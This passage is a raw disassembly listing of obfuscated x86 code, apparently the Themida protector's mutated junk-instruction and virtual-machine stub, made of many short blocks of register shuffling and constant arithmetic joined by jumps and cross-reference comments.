jmp loc_58DF88
; ---------------------------------------------------------------------------
loc_58BCC9: ; CODE XREF: Themida_:0058844Ej
pop eax
push edi
mov edi, 9756BB5h
xor edi, 5C3000AEh
shl edi, 7
dec edi
jmp loc_58AD29
; ---------------------------------------------------------------------------
loc_58BCDF: ; CODE XREF: Themida_:0058B064j
mov ebp, 733414ECh
add eax, ebp
pop ebp
sub eax, ebx
sub eax, 733414ECh
push edi
mov edi, 2A75064Bh
xor edi, 570E2BFCh
xor edi, 10B061ECh
dec edi
add edi, 69175D6Ah
sub edi, 37551C07h
jmp loc_589E8E
; ---------------------------------------------------------------------------
loc_58BD12: ; CODE XREF: Themida_:00587994j
mov [esp], edx
jmp loc_58B009
; ---------------------------------------------------------------------------
loc_58BD1A: ; CODE XREF: Themida_:0058981Fj
pop ebp
add edx, 60D134F2h
add edx, 52E836A6h
add edx, esi
sub edx, 52E836A6h
push esi
jmp loc_58CFDE
; ---------------------------------------------------------------------------
loc_58BD35: ; CODE XREF: Themida_:005891DEj
mov edi, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
push edi
jmp loc_58B3EA
; ---------------------------------------------------------------------------
loc_58BD4A: ; CODE XREF: Themida_:00581A8Bj
xchg edi, [esp]
pop esp
push 66E2h
mov [esp], edi
mov edi, 2B553A4Ah
jmp loc_585A8D
; ---------------------------------------------------------------------------
loc_58BD60: ; CODE XREF: Themida_:00588A57j
add eax, 694B3D06h
pop edi
sub esp, 4
mov [esp], esi
push ecx
jmp loc_586AA2
; ---------------------------------------------------------------------------
loc_58BD72: ; CODE XREF: Themida_:00585273j
pop ebp
push ebx
sub dword ptr [esp], 15207550h
pop ebp
push edi
mov edi, 1C0137D6h
neg edi
jmp loc_584777
; ---------------------------------------------------------------------------
loc_58BD89: ; CODE XREF: Themida_:00584239j
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
push ebp
jmp loc_585E2E
; ---------------------------------------------------------------------------
lodsb
jmp loc_58B6BC
; ---------------------------------------------------------------------------
loc_58BDA9: ; CODE XREF: Themida_:0058B16Fj
mov cl, 0F5h
neg cl
not cl
jmp loc_58BF50
; ---------------------------------------------------------------------------
loc_58BDB4: ; CODE XREF: Themida_:0058CD9Fj
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push edi
mov edi, 63C250F7h
xor esi, edi
pop edi
add eax, esi
push dword ptr [esp]
pop esi
push esi
mov esi, esp
jmp loc_58BFAF
; ---------------------------------------------------------------------------
loc_58BDD6: ; CODE XREF: Themida_:00581DD4j
mov ax, [esp]
push esi
mov esi, esp
jmp loc_58AF4D
; ---------------------------------------------------------------------------
loc_58BDE2: ; CODE XREF: Themida_:0058D598j
add ecx, ebp
jmp loc_583264
; ---------------------------------------------------------------------------
loc_58BDE9: ; CODE XREF: Themida_:0058AC1Cj
add edx, edi
pop edi
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58BDF1: ; CODE XREF: Themida_:0058D8E4j
sub esp, 4
mov [esp], edi
jmp loc_586D7B
; ---------------------------------------------------------------------------
loc_58BDFF: ; CODE XREF: Themida_:00589062j
add edx, 0D9631DADh
sub ecx, 2F891123h
sub ecx, edx
add ecx, 2F891123h
pop edx
add ecx, 0AA68D07Ah
add ebp, ecx
mov ecx, [esp]
add esp, 4
jmp loc_58A806
; ---------------------------------------------------------------------------
loc_58BE2A: ; CODE XREF: Themida_:0058A675j
add esi, ecx
jmp loc_58DD90
; ---------------------------------------------------------------------------
loc_58BE31: ; CODE XREF: Themida_:005822FCj
sub esp, 4
mov [esp], ebx
pop dword ptr [edi+24h]
jmp loc_588297
; ---------------------------------------------------------------------------
loc_58BE3F: ; CODE XREF: Themida_:00589FCCj
mov ebp, esp
push ebx
jmp loc_585C5C
; ---------------------------------------------------------------------------
loc_58BE47: ; CODE XREF: Themida_:0058C6C3j
sub dword ptr [esp], 54B2600Fh
pop esi
add esi, 54B2600Fh
pop ebx
jmp loc_586031
; ---------------------------------------------------------------------------
loc_58BE5B: ; CODE XREF: Themida_:00587890j
push edx
push ebx
jmp loc_585A3E
; ---------------------------------------------------------------------------
loc_58BE62: ; CODE XREF: Themida_:0058337Aj
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_582810
; ---------------------------------------------------------------------------
loc_58BE72: ; CODE XREF: Themida_:00586E47j
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_58C12E
; ---------------------------------------------------------------------------
loc_58BE7E: ; CODE XREF: Themida_:0058C13Fj
pop edx
xor edx, 5B0D5BA4h
mov eax, edx
pop edx
add [esp+4], eax
jmp loc_585770
; ---------------------------------------------------------------------------
loc_58BE91: ; CODE XREF: Themida_:0058195Cj
pop edx
add edx, 4
push eax
push ecx
mov ecx, 2
mov eax, ecx
mov ecx, [esp]
add esp, 4
add edx, eax
jmp loc_588FC8
; ---------------------------------------------------------------------------
loc_58BEB1: ; CODE XREF: Themida_:00588E22j
push ecx
mov ecx, 29911655h
add ecx, 17F3405Fh
sub ecx, 6E045FA3h
add ebp, ecx
pop ecx
sub eax, ebp
pop ebp
mov edx, eax
jmp loc_58B892
; ---------------------------------------------------------------------------
loc_58BED0: ; CODE XREF: Themida_:0058A02Ej
add edx, 4
xchg edx, [esp]
pop esp
add ebp, 4
jmp loc_584E9F
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
sub ecx, eax
pop eax
push ecx
jmp loc_58A095
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
push esp
jmp loc_58D6C8
; ---------------------------------------------------------------------------
loc_58BF0C: ; CODE XREF: Themida_:0058CFBFj
pop dword ptr [esp]
mov esp, [esp]
push 4B9Bh
jmp loc_584CC3
; ---------------------------------------------------------------------------
loc_58BF1C: ; CODE XREF: Themida_:0058A188j
xor dword ptr [esp], 26DB6D8Ah
push dword ptr [esp]
jmp loc_58C0E7
; ---------------------------------------------------------------------------
loc_58BF2B: ; CODE XREF: Themida_:0058345Dj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58BF30: ; CODE XREF: Themida_:00587BE5j
mov ah, dh
jmp loc_58B117
; ---------------------------------------------------------------------------
loc_58BF37: ; CODE XREF: Themida_:0058936Fj
pop edx
mov ecx, esi
jmp loc_58A858
; ---------------------------------------------------------------------------
loc_58BF3F: ; CODE XREF: Themida_:00586867j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_589483
; ---------------------------------------------------------------------------
loc_58BF50: ; CODE XREF: Themida_:0058BDAFj
add cl, 35h
add dl, cl
pop ecx
push cx
jmp loc_587EFA
; ---------------------------------------------------------------------------
loc_58BF5D: ; CODE XREF: Themida_:00585197j
push 438958E7h
pop eax
jmp loc_581B77
; ---------------------------------------------------------------------------
loc_58BF68: ; CODE XREF: Themida_:0058A403j
push ecx
mov ecx, 22AE4B43h
push edx
mov edx, 1B3F7215h
jmp loc_582630
; ---------------------------------------------------------------------------
loc_58BF79: ; CODE XREF: Themida_:0058DEAFj
sub edx, 76E34BBDh
push esi
mov esi, 4DC3996Ch
xor edx, esi
pop esi
push 4E82h
mov [esp], edx
pop ebp
pop edx
xor ebp, 2A0A4A37h
shl ebp, 1
push eax
mov eax, 4B5E49A2h
add ebp, eax
pop eax
add [esp+4], ebp
mov ebp, [esp]
jmp loc_587EAB
; ---------------------------------------------------------------------------
loc_58BFAF: ; CODE XREF: Themida_:0058BDD1j
push ebx
mov ebx, 4
add esi, ebx
jmp loc_582FAE
; ---------------------------------------------------------------------------
loc_58BFBC: ; CODE XREF: Themida_:00581DF7j
pop eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_58ADA4
; ---------------------------------------------------------------------------
loc_58BFCD: ; CODE XREF: Themida_:00583D6Bj
xchg esi, [esp]
jmp loc_58711E
; ---------------------------------------------------------------------------
loc_58BFD5: ; CODE XREF: Themida_:0058542Cj
sub edx, 75F302C7h
mov edi, edx
pop edx
jmp loc_5830EF
; ---------------------------------------------------------------------------
loc_58BFE3: ; CODE XREF: Themida_:00584C32j
pop edi
sub esp, 4
mov [esp], ebx
push 670B351Dh
jmp loc_5864C3
; ---------------------------------------------------------------------------
loc_58BFF7: ; CODE XREF: Themida_:005881BCj
add dword ptr [esp], 4
jmp loc_588699
; ---------------------------------------------------------------------------
loc_58C000: ; CODE XREF: Themida_:00583EF0j
add edi, 7B118D5h
jmp loc_581BA7
; ---------------------------------------------------------------------------
loc_58C00B: ; CODE XREF: Themida_:005876D9j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_583522
; ---------------------------------------------------------------------------
loc_58C022: ; CODE XREF: Themida_:0058D013j
pop ebp
add ebp, 4
jmp loc_58360C
; ---------------------------------------------------------------------------
loc_58C02E: ; CODE XREF: Themida_:005830E0j
mov [esp], edi
mov edi, 0FF6F5F1Bh
sub eax, edi
pop edi
add ebp, 5E5D1395h
add ebp, eax
jmp loc_582EF6
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58A78E
; ---------------------------------------------------------------------------
loc_58C04F: ; CODE XREF: Themida_:005898A1j
pop edi
mov ebx, edi
mov edi, [esp]
add esp, 4
add edi, ebx
pop ebx
jmp loc_5879D0
; ---------------------------------------------------------------------------
loc_58C060: ; CODE XREF: Themida_:005856B3j
not esi
sub esi, 1
jmp loc_589A94
; ---------------------------------------------------------------------------
loc_58C06D: ; CODE XREF: Themida_:0058AE89j
add edi, ecx
add edi, 3DD14EEBh
add edi, 72C12901h
pop ecx
add edi, edx
jmp loc_58268F
; ---------------------------------------------------------------------------
loc_58C083: ; CODE XREF: Themida_:0058B490j
mov esi, ecx
pop ecx
pop edi
and eax, esi
mov esi, [esp]
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_58833C
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_58903C
; ---------------------------------------------------------------------------
loc_58C0B2: ; CODE XREF: Themida_:0058A75Fj
xchg esi, [esp]
jmp loc_58874E
; ---------------------------------------------------------------------------
loc_58C0BA: ; CODE XREF: Themida_:00587626j
sub ecx, ebp
mov ebp, [esp]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5858D9
; ---------------------------------------------------------------------------
loc_58C0D9: ; CODE XREF: Themida_:00586F2Dj
pop edi
push edi
push 2
pop edi
push edx
jmp loc_58BB8A
; ---------------------------------------------------------------------------
loc_58C0E7: ; CODE XREF: Themida_:0058BF26j
mov ecx, [esp]
push esi
push 0B30h
jmp loc_587EA2
; ---------------------------------------------------------------------------
loc_58C0F5: ; CODE XREF: Themida_:005862B3j
shl eax, 3
xor eax, 8CA35A36h
xor ebp, eax
pop eax
push ecx
jmp loc_589FD1
; ---------------------------------------------------------------------------
loc_58C106: ; CODE XREF: Themida_:005824D1j
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edi
push ecx
mov ecx, 4
push ecx
jmp loc_585F09
; ---------------------------------------------------------------------------
loc_58C126: ; CODE XREF: Themida_:005873AEj
mov ecx, [esp]
jmp loc_5851FF
; ---------------------------------------------------------------------------
loc_58C12E: ; CODE XREF: Themida_:0058BE79j
add esp, 4
jmp loc_585B5E
; ---------------------------------------------------------------------------
loc_58C139: ; CODE XREF: Themida_:0058CB9Fj
push edx
push 66897703h
jmp loc_58BE7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_58C144: ; CODE XREF: sub_5F0C13-6F341j
mov dh, 14h
add al, 25h
add al, dh
sub al, 25h
pop dx
jmp loc_581F61
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58C162: ; CODE XREF: Themida_:0058B90Ej
push 1F92h
jmp loc_58B841
; ---------------------------------------------------------------------------
loc_58C16C: ; CODE XREF: Themida_:00584FB0j
pop ebx
add esp, 4
sub esp, 4
jmp loc_58CBBA
; ---------------------------------------------------------------------------
loc_58C178: ; CODE XREF: Themida_:0058594Ej
mov edx, eax
mov ebp, edx
pop edx
mov eax, [esp]
add esp, 4
sub ebp, 5BF861D0h
or ebp, 31080874h
xor ebp, 0F3690BFDh
add eax, ebp
pop ebp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_587E51
; ---------------------------------------------------------------------------
loc_58C1A6: ; CODE XREF: Themida_:00582F05j
xor ebp, [esp]
xor [esp], ebp
jmp loc_5844EC
; ---------------------------------------------------------------------------
loc_58C1B1: ; CODE XREF: Themida_:0058B7A4j
push 427Fh
mov [esp], ebp
push edx
mov edx, 64925FCh
mov ebp, edx
pop edx
or ebp, 11E80852h
or ebp, 7FE15FD8h
jmp loc_58D45B
; ---------------------------------------------------------------------------
loc_58C1D3: ; CODE XREF: Themida_:00585AD2j
pop esp
push edx
push eax
jmp loc_5872ED
; ---------------------------------------------------------------------------
loc_58C1DB: ; CODE XREF: Themida_:0058DE87j
pop ebx
jmp loc_583FB2
; ---------------------------------------------------------------------------
loc_58C1E1: ; CODE XREF: Themida_:00589280j
push 1BB1h
mov [esp], ebx
jmp loc_583C00
; ---------------------------------------------------------------------------
loc_58C1EE: ; CODE XREF: Themida_:0058A6E2j
xor ch, 0F5h
add ch, 42h
mov dl, ch
pop ecx
jmp loc_583189
; ---------------------------------------------------------------------------
loc_58C1FC: ; CODE XREF: Themida_:0058C3C1j
add esp, 4
jmp loc_58D07B
; ---------------------------------------------------------------------------
loc_58C207: ; CODE XREF: Themida_:0058A46Aj
push ebx
mov bl, 0B6h
mov cl, 0F7h
xor cl, 0D4h
sub cl, 67h
xor cl, bl
push dword ptr [esp]
jmp loc_582B5E
; ---------------------------------------------------------------------------
loc_58C21C: ; CODE XREF: Themida_:00584B35j
push edx
push ebx
mov bh, 19h
mov dh, bh
pop ebx
add bl, dh
mov edx, [esp]
jmp loc_583692
; ---------------------------------------------------------------------------
loc_58C22D: ; CODE XREF: Themida_:00582D69j
mov dl, 0DAh
mov ch, 4
add ch, dl
pop edx
sub ch, 0A5h
push ebx
mov bh, ch
mov al, bh
jmp loc_58B36C
; ---------------------------------------------------------------------------
loc_58C241: ; CODE XREF: Themida_:00588196j
sub eax, 97B15D5h
sub eax, edx
add eax, 97B15D5h
mov edx, [esp]
add esp, 4
xor ebx, eax
push dword ptr [eax]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58C25F: ; CODE XREF: Themida_:0058DC33j
pop ebp
jmp loc_5851F3
; ---------------------------------------------------------------------------
loc_58C265: ; CODE XREF: Themida_:0058548Aj
pop edi
shr ebx, 5
sub ebx, 917A2EAEh
add edi, 59813994h
sub edi, 0DD132CFh
add edi, 68CA17D1h
sub edi, ebx
jmp loc_58D0B3
; ---------------------------------------------------------------------------
loc_58C288: ; CODE XREF: Themida_:0058344Ej
sub dh, cl
pop cx
sub al, dh
jmp loc_583E03
; ---------------------------------------------------------------------------
loc_58C293: ; CODE XREF: Themida_:00586FC9j
add esp, 4
add esp, 4
add ecx, 4
sub esp, 4
mov [esp], edi
jmp loc_584647
; ---------------------------------------------------------------------------
loc_58C2B0: ; CODE XREF: Themida_:0058AE1Ej
mov edx, esp
jmp loc_58385D
; ---------------------------------------------------------------------------
loc_58C2B7: ; CODE XREF: Themida_:00585FEEj
pop eax
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_583C5E
; ---------------------------------------------------------------------------
loc_58C2C4: ; CODE XREF: Themida_:0058DD9Ej
push 5016h
mov [esp], ecx
push esp
pop ecx
push eax
mov eax, 70DC7F54h
push edi
jmp loc_5819E6
; ---------------------------------------------------------------------------
loc_58C2DA: ; CODE XREF: Themida_:0058BC53j
mov ecx, 38E4175Dh
jmp loc_586099
; ---------------------------------------------------------------------------
loc_58C2E4: ; CODE XREF: Themida_:0058270Bj
sub esp, 4
mov [esp], eax
jmp loc_5864D5
; ---------------------------------------------------------------------------
loc_58C2EF: ; CODE XREF: Themida_:0058367Aj
sub dword ptr [esp+4], 4487729Ch
jmp loc_58BA18
; ---------------------------------------------------------------------------
loc_58C2FC: ; CODE XREF: Themida_:005835B7j
pop ebp
push ebx
mov ebx, 0FFFFFFFFh
sub ecx, ebx
pop ebx
jmp loc_584544
; ---------------------------------------------------------------------------
loc_58C30B: ; CODE XREF: Themida_:0058D761j
xor eax, ecx
pop ecx
neg eax
sub eax, 86D49380h
neg eax
add eax, 1
jmp loc_583E2A
; ---------------------------------------------------------------------------
loc_58C31F: ; CODE XREF: Themida_:00583227j
mov [esp], ebp
sub esp, 4
jmp loc_589A0F
; ---------------------------------------------------------------------------
loc_58C32D: ; CODE XREF: Themida_:00589AC9j
and dh, cl
pop ecx
jmp loc_58CBA4
; ---------------------------------------------------------------------------
loc_58C335: ; CODE XREF: Themida_:00584E35j
mov eax, 925784Eh
shl eax, 7
add eax, 0AA5325C1h
jmp loc_589C00
; ---------------------------------------------------------------------------
loc_58C347: ; CODE XREF: Themida_:00586CFAj
sub esi, 4E0024A7h
jmp loc_583324
; ---------------------------------------------------------------------------
loc_58C352: ; CODE XREF: Themida_:005865DCj
add esi, 4
push eax
mov eax, 2
add esi, eax
pop eax
xchg esi, [esp]
mov esp, [esp]
jmp loc_5834EC
; ---------------------------------------------------------------------------
loc_58C36C: ; CODE XREF: Themida_:0058CA0Cj
add esi, 2D360B58h
jmp loc_58DDB8
; ---------------------------------------------------------------------------
loc_58C377: ; CODE XREF: Themida_:0058D155j
shl edi, 7
shr edi, 1
jmp loc_58B0DB
; ---------------------------------------------------------------------------
loc_58C381: ; CODE XREF: Themida_:0058CA7Cj
mov edx, 4A8B6FA8h
xor ebp, edx
pop edx
or ebx, ebp
pop ebp
push ecx
mov ecx, 9441A163h
add ebx, ecx
jmp loc_58C57D
; ---------------------------------------------------------------------------
loc_58C399: ; CODE XREF: Themida_:005842E5j
mov ecx, [esp]
add esp, 4
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58C3B7: ; CODE XREF: Themida_:005845B4j
not dl
sub dl, 0F8h
sub bl, dl
mov edx, [esp]
jmp loc_58C1FC
; ---------------------------------------------------------------------------
loc_58C3C6: ; CODE XREF: Themida_:00586FC1j
pop edi
jmp loc_58C9FC
; ---------------------------------------------------------------------------
loc_58C3CC: ; CODE XREF: Themida_:00583124j
add dword ptr [esp], 4
mov ecx, [esp]
push edx
mov edx, esp
jmp loc_587046
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58A952
; ---------------------------------------------------------------------------
loc_58C3E7: ; CODE XREF: Themida_:0058A458j
add esp, 4
push edx
push esp
pop edx
push 0A1Ch
mov [esp], edi
mov edi, 6DBD55B8h
xor edi, 11D35614h
jmp loc_58DFE1
; ---------------------------------------------------------------------------
loc_58C408: ; CODE XREF: Themida_:0058A5AEj
mov [esp], eax
jmp loc_5823D5
; ---------------------------------------------------------------------------
loc_58C410: ; CODE XREF: Themida_:00588D75j
push edx
pop ecx
pop edx
xchg eax, ecx
dec eax
xor ecx, eax
xor eax, ecx
xor ecx, eax
and ecx, 1C90B12h
push ebx
mov ebx, 53CE62D0h
sub ecx, 576D5C98h
add ecx, 4B80726h
jmp loc_586543
; ---------------------------------------------------------------------------
loc_58C438: ; CODE XREF: Themida_:0058B88Dj
push ebx
mov ebx, esp
jmp loc_5885DA
; ---------------------------------------------------------------------------
loc_58C440: ; CODE XREF: Themida_:0058AC31j
add al, dh
pop edx
sub al, bh
sub al, 0E9h
pop ebx
add al, 21h
jmp loc_58D8CE
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58C456: ; CODE XREF: Themida_:00583725j
push dx
mov dh, 0E9h
sub al, 43h
sub al, dh
add al, 43h
mov dx, [esp]
push ebx
push esp
push dword ptr [esp]
mov ebx, [esp]
push ebp
jmp loc_584B44
; ---------------------------------------------------------------------------
loc_58C472: ; CODE XREF: Themida_:0058CB39j
pop ebx
sub ebx, 0A5ED13EDh
jmp loc_58B9B2
; ---------------------------------------------------------------------------
loc_58C47E: ; CODE XREF: Themida_:0058918Dj
push ecx
jmp loc_588345
; ---------------------------------------------------------------------------
loc_58C484: ; CODE XREF: Themida_:00585443j
pop ebp
xor esi, [esp]
xor [esp], esi
jmp loc_5861EA
; ---------------------------------------------------------------------------
loc_58C490: ; CODE XREF: Themida_:00587A80j
neg ebp
jmp loc_588932
; ---------------------------------------------------------------------------
loc_58C497: ; CODE XREF: Themida_:00585FD9j
pop ebx
xor esi, 5F715706h
xor ecx, esi
jmp loc_58C6F7
; ---------------------------------------------------------------------------
loc_58C4A5: ; CODE XREF: Themida_:00587B6Bj
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], esi
mov esi, 93A6D56h
shr esi, 5
dec esi
xor esi, 49D36Dh
add edi, esi
pop esi
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5878FE
; ---------------------------------------------------------------------------
loc_58C4CE: ; CODE XREF: Themida_:0058A4E0j
mov [esp], ebx
jmp loc_5822BA
; ---------------------------------------------------------------------------
lodsb
jmp loc_581B17
; ---------------------------------------------------------------------------
loc_58C4DC: ; CODE XREF: Themida_:0058C685j
xchg ebp, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
mov edx, 89B2CBAh
add eax, edx
pop edx
sub esp, 4
mov [esp], ecx
mov ecx, 200000h
and eax, ecx
mov ecx, [esp]
push 2EF3h
mov [esp], eax
push esp
pop eax
push esi
mov esi, 4
add eax, esi
mov esi, [esp]
add esp, 4
add eax, 4
push eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
add esp, 4
pop dword ptr [esp]
jmp loc_5850CF
; ---------------------------------------------------------------------------
loc_58C538: ; CODE XREF: Themida_:0058207Fj
add esi, 4
add esi, 4
push esi
jmp loc_58414E
; ---------------------------------------------------------------------------
loc_58C54A: ; CODE XREF: Themida_:0058A98Bj
push 800h
pop ebp
and eax, ebp
pop ebp
or eax, eax
jz loc_5878FE
push dword ptr [edi+1Ch]
jmp loc_5824BE
; ---------------------------------------------------------------------------
loc_58C563: ; CODE XREF: Themida_:0058CD43j
add ebp, edi
jmp loc_58D92C
; ---------------------------------------------------------------------------
loc_58C56A: ; CODE XREF: Themida_:00587DBCj
push ecx
jmp loc_581EA9
; ---------------------------------------------------------------------------
loc_58C570: ; CODE XREF: Themida_:005875D9j
mov ebx, esp
add ebx, 4
jmp loc_58A0EE
; ---------------------------------------------------------------------------
loc_58C57D: ; CODE XREF: Themida_:0058C394j
pop ecx
and eax, ebx
mov ebx, [esp]
jmp loc_586332
; ---------------------------------------------------------------------------
loc_58C588: ; CODE XREF: Themida_:00583D78j
add edx, 17897B80h
push esi
mov esi, 65C4721Fh
add edx, esi
jmp loc_58B31F
; ---------------------------------------------------------------------------
loc_58C59B: ; CODE XREF: Themida_:005887C1j
add edx, 664840D1h
sub edx, 2E92016h
add edx, esi
add edx, 2E92016h
jmp loc_5842EA
; ---------------------------------------------------------------------------
loc_58C5B4: ; CODE XREF: Themida_:00585F04j
push ebx
mov bh, ch
jmp loc_585FE9
; ---------------------------------------------------------------------------
loc_58C5BC: ; CODE XREF: Themida_:005876A2j
xchg esi, ebx
sub ebx, 5F77A33Eh
sub edx, 584A35EDh
add edx, ebx
add edx, 584A35EDh
mov ebx, [esp]
add esp, 4
add edx, 0C7E9B9A0h
push 51C3h
mov [esp], edx
pop ebx
pop edx
add ebx, edi
jmp loc_58805C
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_587999
; ---------------------------------------------------------------------------
loc_58C5F7: ; CODE XREF: Themida_:005878F9j
add eax, ebx
sub eax, 6DF26D6Bh
mov ebx, [esp]
push edi
sub esp, 4
jmp loc_587F59
; ---------------------------------------------------------------------------
loc_58C60D: ; CODE XREF: Themida_:0058C63Cj
add esi, 5FFC3B63h
sub esi, edx
push eax
mov eax, 7F3D31FEh
inc eax
shl eax, 3
neg eax
jmp loc_58205C
; ---------------------------------------------------------------------------
loc_58C626: ; CODE XREF: Themida_:0058DBCFj
pop ecx
push ecx
push esp
mov ecx, [esp]
add esp, 4
jmp loc_58BC6D
; ---------------------------------------------------------------------------
loc_58C637: ; CODE XREF: Themida_:0058B576j
mov edx, 6ABF57BAh
jmp loc_58C60D
; ---------------------------------------------------------------------------
loc_58C641: ; CODE XREF: Themida_:00583A32j
add esp, 4
xchg ecx, [esp]
jmp loc_585E0C
; ---------------------------------------------------------------------------
mov ecx, [esp]
push edx
push esp
jmp loc_582214
; ---------------------------------------------------------------------------
loc_58C659: ; CODE XREF: Themida_:0058973Ej
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebx
sub dword ptr [esp], 89B2CBAh
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58C4DC
; ---------------------------------------------------------------------------
loc_58C68A: ; CODE XREF: Themida_:00587E17j
push ecx
mov ecx, 622B177Fh
push ebp
jmp loc_58B655
; ---------------------------------------------------------------------------
loc_58C696: ; CODE XREF: Themida_:0058A9C5j
sub esp, 4
jmp loc_581CA6
; ---------------------------------------------------------------------------
loc_58C69E: ; CODE XREF: Themida_:00582AFCj
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_58B983
; ---------------------------------------------------------------------------
loc_58C6B4: ; CODE XREF: Themida_:00581CD0j
push 5BA5h
mov [esp], esi
push ebx
mov ebx, 3C435619h
push ebx
jmp loc_58BE47
; ---------------------------------------------------------------------------
loc_58C6C8: ; CODE XREF: Themida_:00583F50j
mov [esp], ebx
jmp loc_5886A1
; ---------------------------------------------------------------------------
push 0D86h
mov [esp], edx
jmp loc_58A4A5
; ---------------------------------------------------------------------------
loc_58C6DD: ; CODE XREF: Themida_:0058830Aj
dec edi
jmp loc_583E86
; ---------------------------------------------------------------------------
loc_58C6E3: ; CODE XREF: Themida_:00581FC6j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58C6E8: ; CODE XREF: Themida_:0058AB40j
neg ebp
push 3B27h
mov [esp], ebx
jmp loc_58DE9B
; ---------------------------------------------------------------------------
loc_58C6F7: ; CODE XREF: Themida_:0058C4A0j
mov esi, [esp]
add esp, 4
push ebp
push esi
mov esi, 55625526h
mov ebp, 0C295B831h
add ebp, esi
pop esi
jmp loc_58CB70
; ---------------------------------------------------------------------------
loc_58C714: ; CODE XREF: Themida_:00581B12j
mov ebx, eax
mov edi, ebx
pop ebx
pop eax
add edx, edi
jmp loc_583D9D
; ---------------------------------------------------------------------------
lodsb
add al, 64h
jmp loc_581D1F
; ---------------------------------------------------------------------------
loc_58C729: ; CODE XREF: Themida_:0058845Cj
mov [esp], ebp
push 1A48h
mov [esp], eax
mov eax, 464A237Bh
mov ebp, 464A257Bh
jmp loc_587792
; ---------------------------------------------------------------------------
loc_58C743: ; CODE XREF: Themida_:00586EAEj
sub eax, 6E463A4Ah
or eax, 4BDE5C12h
xor eax, 2E74F08h
sub eax, 491993DAh
jmp loc_58197D
; ---------------------------------------------------------------------------
loc_58C75C: ; CODE XREF: Themida_:0058A9B9j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_588D37
; ---------------------------------------------------------------------------
loc_58C769: ; CODE XREF: Themida_:00588359j
push 14D2h
jmp loc_587A60
; ---------------------------------------------------------------------------
loc_58C773: ; CODE XREF: Themida_:00582473j
add eax, ebx
push esi
jmp loc_58DD2A
; ---------------------------------------------------------------------------
loc_58C77B: ; CODE XREF: Themida_:0058A916j
push edx
push 4FD84CD0h
pop edx
xor edi, edx
pop edx
push eax
jmp loc_58D06F
; ---------------------------------------------------------------------------
lodsw
xor ax, bx
push 42C8h
jmp loc_5846E1
; ---------------------------------------------------------------------------
loc_58C79A: ; CODE XREF: Themida_:0058B5FBj
sub [esp+4], edx
pop edx
sub dword ptr [esp], 2FDF0F7Fh
sub [esp], ebx
add dword ptr [esp], 2FDF0F7Fh
add dword ptr [esp], 0B213DC8h
jmp loc_583F19
; ---------------------------------------------------------------------------
loc_58C7BC: ; CODE XREF: Themida_:0058825Bj
xor ebx, 277246BBh
sub edx, 12DA3138h
sub edx, 230B5384h
add edx, ebx
jmp loc_58B22A
; ---------------------------------------------------------------------------
loc_58C7D5: ; CODE XREF: Themida_:0058A44Dj
mov [esp], ebx
jmp loc_586C21
; ---------------------------------------------------------------------------
loc_58C7DD: ; CODE XREF: Themida_:0058AD99j
mov edi, 4
sub ebp, edi
pop edi
xchg ebp, [esp]
jmp loc_5880E0
; ---------------------------------------------------------------------------
loc_58C7ED: ; CODE XREF: Themida_:00585D2Dj
xor edx, 595A24E7h
push ebx
mov ebx, 5F254F89h
push ecx
jmp loc_58A4B3
; ---------------------------------------------------------------------------
loc_58C7FF: ; CODE XREF: Themida_:00583C66j
mov eax, 0
add eax, edx
push edx
mov edx, 0
jmp loc_584199
; ---------------------------------------------------------------------------
loc_58C811: ; CODE XREF: Themida_:0058DA34j
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_58A55C
; ---------------------------------------------------------------------------
loc_58C825: ; CODE XREF: Themida_:005857B8j
xchg ebx, ebp
neg ebx
xchg ebx, ebp
and ebp, 62E60734h
not ebp
sub ebp, 0CD979FF9h
mov ebx, ebp
mov ebp, [esp]
add esp, 4
mov edi, ebx
jmp loc_5851E4
